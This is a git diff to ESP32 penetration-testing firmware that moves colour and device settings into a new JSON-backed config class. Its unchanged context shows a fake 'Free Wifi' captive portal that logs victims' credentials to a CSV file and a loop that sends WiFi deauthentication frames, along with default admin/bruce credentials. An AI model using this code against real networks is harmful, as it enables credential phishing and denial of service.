diff --git a/html/AsyncWebServer/evil_portal.cpp b/html/AsyncWebServer/evil_portal.cpp index 9f721dc0..06b003f0 100644 --- a/html/AsyncWebServer/evil_portal.cpp +++ b/html/AsyncWebServer/evil_portal.cpp @@ -55,10 +55,10 @@ class CaptiveRequestHandler : public AsyncWebHandler { saveToCSV("/Bruce_creds.csv", csvLine); capturedCredentialsHtml = html_temp + capturedCredentialsHtml; totalCapturedCredentials++; - request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); - } + request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); + } else { - request->redirect("/"); + request->redirect("/"); } } }; @@ -74,12 +74,12 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { }; delay(200); loopOptions(options); - + while(checkNextPress()){ yield(); } // debounce delay(200); // tssid="" means that are opening a virgin Evil Portal - if (tssid=="") { - AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); + if (tssid=="") { + AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); } else { // tssid != "" means that is was cloned and can deploy Deauth //memcpy(ap_record.bssid, bssid, 6); @@ -90,13 +90,13 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { wifiConnected=true; drawMainBorder(); - displayRedStripe("Starting..",TFT_WHITE,FGCOLOR); + displayRedStripe("Starting..",TFT_WHITE,bruceConfig.priColor); IPAddress AP_GATEWAY(172, 0, 0, 1); WiFi.mode(WIFI_MODE_AP); WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); WiFi.softAP(AP_name,emptyString,channel); - + tmp=millis(); while(millis() - tmp < 3000) yield(); dnsServer.start(53, "*", WiFi.softAPIP()); @@ -125,7 +125,7 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { previousTotalCapturedCredentials=-1; // redesenha a tela }); - ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) { + ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) { request->send(200, "text/html", clear_GET()); }); @@ -148,8 +148,8 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { new (ep) AsyncWebServer(80); ep->begin(); - tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR); - + tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, bruceConfig.bgColor); + bool hold_deauth = false; tmp=millis(); // one deauth frame each 30ms at least redraw=true; @@ -160,7 +160,7 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { tft.setTextColor(TFT_RED); tft.drawCentreString("Evil Portal",WIDTH/2, 29, SMOOTH_FONT); tft.setCursor(7,49); - tft.setTextColor(FGCOLOR); + tft.setTextColor(bruceConfig.priColor); tft.println("AP: " + AP_name); tft.setCursor(7,tft.getCursorY()); tft.println("->" + WiFi.softAPIP().toString() + "/creds"); @@ -177,7 +177,7 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { if (deauth){ if (hold_deauth) { tft.setTextSize(FP); - tft.setTextColor(FGCOLOR); + tft.setTextColor(bruceConfig.priColor); tft.drawRightString("Deauth OFF", WIDTH-7,HEIGHT-14,SMOOTH_FONT); } else { tft.setTextSize(FP); @@ -190,7 +190,7 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { redraw=false; } - if(!hold_deauth && (millis()-tmp) >5) { + if(!hold_deauth && (millis()-tmp) >5) { wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed. tmp=millis(); } @@ -232,7 +232,7 @@ void saveToCSV(const String &filename, const String &csvLine) { } String getHtmlContents(String body) { - PROGMEM String html = + PROGMEM String html = "" "" "" diff --git a/html/AsyncWebServer/webInterface.cpp b/html/AsyncWebServer/webInterface.cpp index f05614bc..37a7ae4d 100644 --- a/html/AsyncWebServer/webInterface.cpp +++ b/html/AsyncWebServer/webInterface.cpp @@ -21,7 +21,7 @@ bool update; size_t file_size; // WiFi as a Client -String default_httpuser = "admin"; +String default_httpuser = "admin"; String default_httppassword = "bruce"; const int default_webserverporthttp = 80; @@ -44,13 +44,13 @@ String uploadFolder=""; **********************************************************************/ void webUIMyNet() { if (WiFi.status() != WL_CONNECTED) { - if(wifiConnectMenu()) startWebUi(false); + if(wifiConnectMenu()) startWebUi(false); else { displayError("Wifi Offline"); } } else { //If it is already connected, just start the network - startWebUi(false); + startWebUi(false); } sprite.createSprite(WIDTH-20,HEIGHT-20); // On fail installing will run the following line @@ -165,7 +165,7 @@ String processor(const String& var) { else if (var == "FREESD") return humanReadableSize(SD.totalBytes() - SD.usedBytes()); else if (var == "USEDSD") return humanReadableSize(SD.usedBytes()); else if (var == "TOTALSD") return humanReadableSize(SD.totalBytes()); - else return "Attribute not configured"; + else return "Attribute not configured"; } @@ -188,7 +188,7 @@ bool checkUserWebAuth(AsyncWebServerRequest * request) { **********************************************************************/ void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) { // make sure authenticated before allowing upload - Serial.println("Folder: " + uploadFolder); + Serial.println("Folder: " + uploadFolder); if (uploadFolder=="/") uploadFolder = ""; if (checkUserWebAuth(request)) { @@ -229,7 +229,7 @@ void notFound(AsyncWebServerRequest *request) { void configureWebServer() { MDNS.begin(host); - + // if url isn't found server->onNotFound([](AsyncWebServerRequest * request) { request->redirect("/"); @@ -249,7 +249,7 @@ void configureWebServer() { }); server->on("/rename", HTTP_POST, [](AsyncWebServerRequest * request) { - if (request->hasParam("fileName", true) && request->hasParam("filePath", true)) { + if (request->hasParam("fileName", true) && request->hasParam("filePath", true)) { String fileName = request->getParam("fileName", true)->value().c_str(); String filePath = request->getParam("filePath", true)->value().c_str(); String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName; @@ -317,7 +317,7 @@ void configureWebServer() { } else if (strcmp(fileAction, "delete") == 0) { if(deleteFromSd(fileName)) { request->send(200, "text/plain", "Deleted : " + String(fileName)); } else { request->send(200, "text/plain", "FAIL delating: " + String(fileName));} - + } else if (strcmp(fileAction, "create") == 0) { if(SD.mkdir(fileName)) { } else { request->send(200, "text/plain", "FAIL creating folder: " + String(fileName));} @@ -340,7 +340,7 @@ void configureWebServer() { const char *ssid = request->getParam("usr")->value().c_str(); const char *pwd = request->getParam("pwd")->value().c_str(); SD.remove(fileconf); - File file = SD.open(fileconf, FILE_WRITE); + File file = SD.open(fileconf, FILE_WRITE); file.print(String(ssid) + ";" + String(pwd) + ";\n"); config.httpuser = ssid; config.httppassword = pwd; @@ -395,7 +395,7 @@ file_size = 0; // Choose wifi access mode wifiConnectMenu(mode_ap); } - + // configure web server Serial.println("Configuring Webserver ..."); #if defined(CARDPUTER) || defined(STICK_C_PLUS2) @@ -413,8 +413,8 @@ file_size = 0; String txt; if(!mode_ap) txt = WiFi.localIP().toString(); else txt = WiFi.softAPIP().toString(); - tft.setTextColor(FGCOLOR); - + tft.setTextColor(bruceConfig.priColor); + #ifndef STICK_C tft.drawCentreString("http://bruce.local", WIDTH/2,25,1); setTftDisplay(7,47); diff --git a/html/WebServer/evil_portal.cpp b/html/WebServer/evil_portal.cpp index 10957a2e..d988bd6e 100644 --- a/html/WebServer/evil_portal.cpp +++ b/html/WebServer/evil_portal.cpp @@ -40,7 +40,7 @@ void handleCreds() { saveToCSV("/Bruce_creds.csv", csvLine); capturedCredentialsHtml = html_temp + capturedCredentialsHtml; totalCapturedCredentials++; - ep->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); + ep->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); } void startEvilPortal(String tssid, uint8_t channel, bool deauth) { @@ -58,8 +58,8 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { while(checkNextPress()){ yield(); } // debounce // tssid="" means that are opening a virgin Evil Portal - if (tssid=="") { - AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); + if (tssid=="") { + AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); } else { // tssid != "" means that is was cloned and can deploy Deauth //memcpy(ap_record.bssid, bssid, 6); @@ -109,19 +109,19 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { }); ep->begin(); - + bool hold_deauth = false; int tmp=millis(); // one deauth frame each 30ms at least redraw=true; while(1) { if(redraw) { drawMainBorder(); - + tft.setTextSize(FM); tft.setTextColor(TFT_RED); tft.drawCentreString("Evil Portal",WIDTH/2, 29, SMOOTH_FONT); tft.setCursor(8,46); - tft.setTextColor(FGCOLOR); + tft.setTextColor(bruceConfig.priColor); tft.println("AP: " + AP_name); tft.setCursor(8,tft.getCursorY()); tft.println("->" + WiFi.softAPIP().toString() + "/creds"); @@ -138,7 +138,7 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { if (deauth){ if (hold_deauth) { tft.setTextSize(FP); - tft.setTextColor(FGCOLOR); + tft.setTextColor(bruceConfig.priColor); tft.drawRightString("Deauth OFF", WIDTH-6,HEIGHT-8,SMOOTH_FONT); } else { tft.setTextSize(FP); @@ -150,7 +150,7 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { redraw=false; } - if(!hold_deauth && (millis()-tmp) >5) { + if(!hold_deauth && (millis()-tmp) >5) { wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed. tmp=millis(); } @@ -192,7 +192,7 @@ void saveToCSV(const String &filename, const String &csvLine) { } String getHtmlContents(String body) { - PROGMEM String html = + PROGMEM String html = "" "" "" diff --git a/html/WebServer/webInterface.cpp b/html/WebServer/webInterface.cpp index 3b4def72..45f735b6 100644 --- a/html/WebServer/webInterface.cpp +++ b/html/WebServer/webInterface.cpp @@ -14,7 +14,7 @@ struct Config { File uploadFile; // WiFi as a Client -String default_httpuser = "admin"; +String default_httpuser = "admin"; String default_httppassword = "bruce"; const int default_webserverporthttp = 80; @@ -36,13 +36,13 @@ String uploadFolder=""; **********************************************************************/ void webUIMyNet() { if (WiFi.status() != WL_CONNECTED) { - if(wifiConnectMenu()) startWebUi(false); + if(wifiConnectMenu()) startWebUi(false); else { displayError("Wifi Offline"); } } else { //If it is already connected, just start the network - startWebUi(false); + startWebUi(false); } // On fail installing will run the following line } @@ -158,7 +158,7 @@ String processor(const String& var) { processedHtml.replace("%FREESD%", humanReadableSize(SD.totalBytes() - SD.usedBytes())); processedHtml.replace("%USEDSD%", humanReadableSize(SD.usedBytes())); processedHtml.replace("%TOTALSD%", humanReadableSize(SD.totalBytes())); - + return processedHtml; } @@ -256,13 +256,13 @@ void configureWebServer() { // Route to rename a file server->on("/rename", HTTP_POST, []() { - if (server->hasArg("fileName") && server->hasArg("filePath")) { + if (server->hasArg("fileName") && server->hasArg("filePath")) { String fileName = server->arg("fileName").c_str(); String filePath = server->arg("filePath").c_str(); String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName; if(!SD.begin()) { server->send(200, "text/plain", "Fail starting SD Card."); - } + } else { // Rename the file of folder if (SD.rename(filePath, filePath2)) { @@ -311,7 +311,7 @@ void configureWebServer() { server->send(200, "text/plain", "Created new folder: " + String(fileName)); } else { server->send(200, "text/plain", "FAIL creating folder: " + String(fileName)); - } + } } else server->send(400, "text/plain", "ERROR: file does not exist"); } else { @@ -407,7 +407,7 @@ void startWebUi(bool mode_ap) { // Choose wifi access mode wifiConnectMenu(mode_ap); } - + // configure web server Serial.println("Configuring Webserver ..."); server = (WebServer*)malloc(sizeof(WebServer)); @@ -415,15 +415,15 @@ void startWebUi(bool mode_ap) { configureWebServer(); - tft.fillScreen(BGCOLOR); + tft.fillScreen(bruceConfig.bgColor); tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,ALCOLOR); setTftDisplay(0,0,ALCOLOR,FM); tft.drawCentreString("BRUCE WebUI",WIDTH/2,7,1); String txt; if(!mode_ap) txt = WiFi.localIP().toString(); else txt = WiFi.softAPIP().toString(); - tft.setTextColor(FGCOLOR); - + tft.setTextColor(bruceConfig.priColor); + #ifndef STICK_C tft.drawCentreString("http://bruce.local", WIDTH/2,25,1); setTftDisplay(7,47); diff --git a/platformio.ini b/platformio.ini index d880198b..60c6b05e 100644 --- a/platformio.ini +++ b/platformio.ini @@ -31,7 +31,6 @@ build_flags = -DEEPROMSIZE=128 -DLH=8 -DLW=6 - -DCONFIG_FILE='"/bruce.conf"' -w -Wl,--print-memory-usage -Wl,--gc-sections @@ -1261,7 +1260,7 @@ build_flags = ; SERIAL (GPS) dedicated pins -DSERIAL_TX=1 -DSERIAL_RX=3 - + ;Battery ADC read pin ;-DBAT_PIN=10 diff --git a/src/core/config.cpp b/src/core/config.cpp new file mode 100644 index 00000000..8965359e --- /dev/null +++ b/src/core/config.cpp @@ -0,0 +1,369 @@ +#include "config.h" +#include "sd_functions.h" + + +JsonDocument BruceConfig::toJson() const { + JsonDocument jsonDoc; + JsonObject setting = jsonDoc.to(); + + setting["priColor"] = priColor; + setting["secColor"] = secColor; + setting["bgColor"] = bgColor; + + setting["rot"] = rotation; + setting["dimmerSet"] = dimmerSet; + setting["bright"] = bright; + setting["tmz"] = tmz; + setting["soundEnabled"] = soundEnabled; + setting["wifiAtStartup"] = wifiAtStartup; + + JsonObject _webUI = setting.createNestedObject("webUI"); + _webUI["user"] = webUI.user; + _webUI["pwd"] = webUI.pwd; + + JsonObject _wifiAp = setting.createNestedObject("wifiAp"); + _wifiAp["ssid"] = wifiAp.ssid; + _wifiAp["pwd"] = wifiAp.pwd; + + JsonObject _wifi = setting.createNestedObject("wifi"); + for (const auto& pair : wifi) { + _wifi[pair.first] = pair.second; + } + + setting["irTx"] = irTx; + setting["irRx"] = irRx; + + setting["rfTx"] = rfTx; + setting["rfRx"] = rfRx; + setting["rfModule"] = rfModule; + setting["rfFreq"] = rfFreq; + setting["rfFxdFreq"] = rfFxdFreq; + setting["rfScanRange"] = rfScanRange; + + setting["rfidModule"] = rfidModule; + + setting["wigleBasicToken"] = wigleBasicToken; + setting["devMode"] = devMode; + + return jsonDoc; +} + + +void BruceConfig::fromFile() { + FS *fs; + if(!getFsStorage(fs)) return; + + if(!fs->exists(filepath)) return saveFile(); + + File file; + file = fs->open(filepath, FILE_READ); + if (!file) { + log_e("Config file not found. Using default values"); + return; + } + + // Deserialize the JSON document + JsonDocument jsonDoc; + if (deserializeJson(jsonDoc, file)) { + log_e("Failed to read config file, using default configuration"); + return; + } + file.close(); + + JsonObject setting = jsonDoc.as(); + int count = 0; + + if(!setting["priColor"].isNull()) { priColor = setting["priColor"].as(); } else { count++; log_e("Fail"); } + if(!setting["secColor"].isNull()) { secColor = setting["secColor"].as(); } else { count++; log_e("Fail"); } + if(!setting["bgColor"].isNull()) { bgColor = setting["bgColor"].as(); } else { count++; log_e("Fail"); } + + if(!setting["rot"].isNull()) { rotation = setting["rot"].as(); } else { count++; log_e("Fail"); } + if(!setting["dimmerSet"].isNull()) { dimmerSet = setting["dimmerSet"].as(); } else { count++; log_e("Fail"); } + if(!setting["bright"].isNull()) { bright = setting["bright"].as(); } else { count++; log_e("Fail"); } + if(!setting["tmz"].isNull()) { tmz = setting["tmz"].as(); } else { count++; log_e("Fail"); } + if(!setting["soundEnabled"].isNull()) { soundEnabled = setting["soundEnabled"].as(); } else { count++; log_e("Fail"); } + if(!setting["wifiAtStartup"].isNull()) { wifiAtStartup = setting["wifiAtStartup"].as(); } else { count++; log_e("Fail"); } + + if(!setting["webUI"].isNull()) { + JsonObject webUIObj = setting["webUI"].as(); + webUI.user = webUIObj["user"].as(); + webUI.pwd = webUIObj["pwd"].as(); + } else { count++; log_e("Fail"); } + + if(!setting["wifiAp"].isNull()) { + JsonObject wifiApObj = setting["wifiAp"].as(); + wifiAp.ssid = wifiApObj["ssid"].as(); + wifiAp.pwd = wifiApObj["pwd"].as(); + } else { count++; log_e("Fail"); } + + if(!setting["wifi"].isNull()) { + wifi.clear(); + for (JsonPair kv : setting["wifi"].as()) + wifi[kv.key().c_str()] = kv.value().as(); + } else { count++; log_e("Fail"); } + + if(!setting["irTx"].isNull()) { irTx = setting["irTx"].as(); } else { count++; log_e("Fail"); } + if(!setting["irRx"].isNull()) { irRx = setting["irRx"].as(); } else { count++; log_e("Fail"); } + + if(!setting["rfTx"].isNull()) { rfTx = setting["rfTx"].as(); } else { count++; log_e("Fail"); } + if(!setting["rfRx"].isNull()) { rfRx = setting["rfRx"].as(); } else { count++; log_e("Fail"); } + if(!setting["rfModule"].isNull()) { rfModule = setting["rfModule"].as(); } else { count++; log_e("Fail"); } + if(!setting["rfFreq"].isNull()) { rfFreq = setting["rfFreq"].as(); } else { count++; log_e("Fail"); } + if(!setting["rfFxdFreq"].isNull()) { rfFxdFreq = setting["rfFxdFreq"].as(); } else { count++; log_e("Fail"); } + if(!setting["rfScanRange"].isNull()) { rfScanRange = setting["rfScanRange"].as(); } else { count++; log_e("Fail"); } + + if(!setting["rfidModule"].isNull()) { rfidModule = setting["rfidModule"].as(); } else { count++; log_e("Fail"); } + + if(!setting["wigleBasicToken"].isNull()) { wigleBasicToken = setting["wigleBasicToken"].as(); } else { count++; log_e("Fail"); } + if(!setting["devMode"].isNull()) { devMode = setting["devMode"].as(); } else { count++; log_e("Fail"); } + + validateConfig(); + if (count>0) saveFile(); + + log_i("Using config from file"); +} + + +void BruceConfig::saveFile() { + FS *fs = &LittleFS; + JsonDocument jsonDoc = toJson(); + + // Open file for writing + File file = fs->open(filepath, FILE_WRITE); + if (!file) { + log_e("Failed to open config file"); + file.close(); + return; + }; + + // Serialize JSON to file + serializeJsonPretty(jsonDoc, Serial); + if (serializeJsonPretty(jsonDoc, file) < 5) log_e("Failed to write config file"); + else log_i("config file written successfully"); + + file.close(); + + if (setupSdCard()) copyToFs(LittleFS, SD, filepath); +} + + +void BruceConfig::validateConfig() { + validateRotationValue(); + validateDimmerValue(); + validateBrightValue(); + validateTmzValue(); + validateSoundEnabledValue(); + validateWifiAtStartupValue(); + validateRfScanRangeValue(); + validateRfModuleValue(); + validateRfidModuleValue(); + validateDevModeValue(); +} + + +void BruceConfig::setTheme(uint16_t primary, uint16_t secondary, uint16_t background) { + priColor = primary; + secColor = secondary == NULL ? primary - 0x2000 : secondary; + bgColor = background == NULL ? 0x0 : background; + saveFile(); +} + + +void BruceConfig::setRotation(int value) { + rotation = value; + validateRotationValue(); + saveFile(); +} + + +void BruceConfig::validateRotationValue() { + if (rotation!=1 && rotation!=3) rotation = 1; +} + + +void BruceConfig::setDimmer(int value) { + dimmerSet = value; + validateDimmerValue(); + saveFile(); +} + + +void BruceConfig::validateDimmerValue() { + if (dimmerSet < 0) dimmerSet = 10; + if (dimmerSet > 60) dimmerSet = 0; +} + + +void BruceConfig::setBright(int value) { + bright = value; + validateBrightValue(); + saveFile(); +} + + +void BruceConfig::validateBrightValue() { + if (bright > 100) bright = 100; +} + + +void BruceConfig::setTmz(int value) { + tmz = value; + validateTmzValue(); + saveFile(); +} + + +void BruceConfig::validateTmzValue() { + if (tmz < -12 || tmz > 12) tmz = 0; +} + + +void BruceConfig::setSoundEnabled(int value) { + soundEnabled = value; + validateSoundEnabledValue(); + saveFile(); +} + + +void BruceConfig::validateSoundEnabledValue() { + if (soundEnabled > 1) soundEnabled = 1; +} + + +void BruceConfig::setWifiAtStartup(int value) { + wifiAtStartup = value; + validateWifiAtStartupValue(); + saveFile(); +} + + +void BruceConfig::validateWifiAtStartupValue() { + if (wifiAtStartup > 1) wifiAtStartup = 1; +} + + +void BruceConfig::setWebUICreds(const String& usr, const String& pwd) { + webUI.user = usr; + webUI.pwd = pwd; + saveFile(); +} + + +void BruceConfig::setWifiApCreds(const String& ssid, const String& pwd) { + wifiAp.ssid = ssid; + wifiAp.pwd = pwd; + saveFile(); +} + + +void BruceConfig::addWifiCredential(const String& ssid, const String& pwd) { + wifi[ssid] = pwd; + saveFile(); +} + + +String BruceConfig::getWifiPassword(const String& ssid) const { + auto it = wifi.find(ssid); + if (it != wifi.end()) return it->second; + return ""; +} + + +void BruceConfig::setIrTxPin(int value) { + irTx = value; + saveFile(); +} + + +void BruceConfig::setIrRxPin(int value) { + irRx = value; + saveFile(); +} + + +void BruceConfig::setRfTxPin(int value) { + rfTx = value; + saveFile(); +} + + +void BruceConfig::setRfRxPin(int value) { + rfRx = value; + saveFile(); +} + + +void BruceConfig::setRfModule(RFModules value) { + rfModule = value; + validateRfModuleValue(); + saveFile(); +} + + +void BruceConfig::validateRfModuleValue() { + if (rfModule != M5_RF_MODULE && rfModule != CC1101_SPI_MODULE) { + rfModule = M5_RF_MODULE; + } +} + + +void BruceConfig::setRfFreq(float value, int fxdFreq) { + rfFreq = value; + if (fxdFreq != NULL) rfFxdFreq = fxdFreq; + saveFile(); +} + + +void BruceConfig::setRfFxdFreq(float value) { + rfFxdFreq = value; + saveFile(); +} + + +void BruceConfig::setRfScanRange(int value, int fxdFreq) { + rfScanRange = value; + rfFxdFreq = fxdFreq; + validateRfScanRangeValue(); + saveFile(); +} + + +void BruceConfig::validateRfScanRangeValue() { + if (rfScanRange < 0 || rfScanRange > 3) rfScanRange = 3; +} + + +void BruceConfig::setRfidModule(RFIDModules value) { + rfidModule = value; + validateRfidModuleValue(); + saveFile(); +} + + +void BruceConfig::validateRfidModuleValue() { + if ( + rfidModule != M5_RFID2_MODULE + && rfidModule != PN532_I2C_MODULE + && rfidModule != PN532_SPI_MODULE + ) { + rfidModule = M5_RFID2_MODULE; + } +} + + +void BruceConfig::setWigleBasicToken(String value) { + wigleBasicToken = value; + saveFile(); +} + + +void BruceConfig::setDevMode(int value) { + devMode = value; + validateDevModeValue(); + saveFile(); +} + + +void BruceConfig::validateDevModeValue() { + if (devMode > 1) devMode = 1; +} diff --git a/src/core/config.h b/src/core/config.h new file mode 100644 index 00000000..2d51c004 --- /dev/null +++ b/src/core/config.h @@ -0,0 +1,122 @@ +#ifndef __BRUCE_CONFIG_H__ +#define __BRUCE_CONFIG_H__ + +// #include "globals.h" +#include +#include +#include + +#define DEFAULT_PRICOLOR 0xA80F + +enum RFIDModules { + M5_RFID2_MODULE = 0, + PN532_I2C_MODULE = 1, + PN532_SPI_MODULE = 2, +}; + +enum RFModules { + M5_RF_MODULE = 0, + CC1101_SPI_MODULE = 1, +}; + + +class BruceConfig { +public: + struct WiFiCredential { + String ssid; + String pwd; + }; + struct Credential { + String user; + String pwd; + }; + + const char *filepath = "/bruce.conf"; + + // Theme colors in RGB565 format + uint16_t priColor = 0xA80F; + uint16_t secColor = 0x880F; + uint16_t bgColor = 0x0000; + + int rotation = ROTATION > 1 ? 3 : 1; + int dimmerSet = 10; + int bright = 100; + int tmz = 0; + int soundEnabled = 1; + int wifiAtStartup = 0; + + Credential webUI = {"admin", "bruce"}; + WiFiCredential wifiAp = {"BruceNet", "brucenet"}; + std::map wifi = {}; + + int irTx = LED; + int irRx = GROVE_SCL; + + int rfTx = GROVE_SDA; + int rfRx = GROVE_SCL; + int rfModule = M5_RF_MODULE; + float rfFreq = 433.92; + int rfFxdFreq = 1; + int rfScanRange = 3; + + int rfidModule = M5_RFID2_MODULE; + + String wigleBasicToken = ""; + int devMode = 0; + + ///////////////////////////////////////////////////////////////////////////////////// + // Constructor + ///////////////////////////////////////////////////////////////////////////////////// + BruceConfig() {}; + // ~BruceConfig(); + + ///////////////////////////////////////////////////////////////////////////////////// + // Operations + ///////////////////////////////////////////////////////////////////////////////////// + void saveFile(); + void fromFile(); + void validateConfig(); + JsonDocument toJson() const; + + void setTheme(uint16_t primary, uint16_t secondary = NULL, uint16_t background = NULL); + + void setRotation(int value); + void validateRotationValue(); + void setDimmer(int value); + void validateDimmerValue(); + void setBright(int value); + void validateBrightValue(); + void setTmz(int value); + void validateTmzValue(); + void setSoundEnabled(int value); + void validateSoundEnabledValue(); + void setWifiAtStartup(int value); + void validateWifiAtStartupValue(); + + void setWebUICreds(const String& usr, const String& pwd); + void setWifiApCreds(const String& ssid, const String& pwd); + void addWifiCredential(const String& ssid, const String& pwd); + String getWifiPassword(const String& ssid) const; + + void setIrTxPin(int value); + void setIrRxPin(int value); + + void setRfTxPin(int value); + void setRfRxPin(int value); + void setRfModule(RFModules value); + void validateRfModuleValue(); + void setRfFreq(float value, int fxdFreq = NULL); + void setRfFxdFreq(float value); + void setRfScanRange(int value, int fxdFreq = 0); + void validateRfScanRangeValue(); + + void setRfidModule(RFIDModules value); + void validateRfidModuleValue(); + + void setWigleBasicToken(String value); + void setDevMode(int value); + void validateDevModeValue(); + +}; + +#endif diff --git a/src/core/display.cpp b/src/core/display.cpp index 760ef1b1..23abf87c 100644 --- a/src/core/display.cpp +++ b/src/core/display.cpp @@ -256,12 +256,12 @@ int loopOptions(std::vector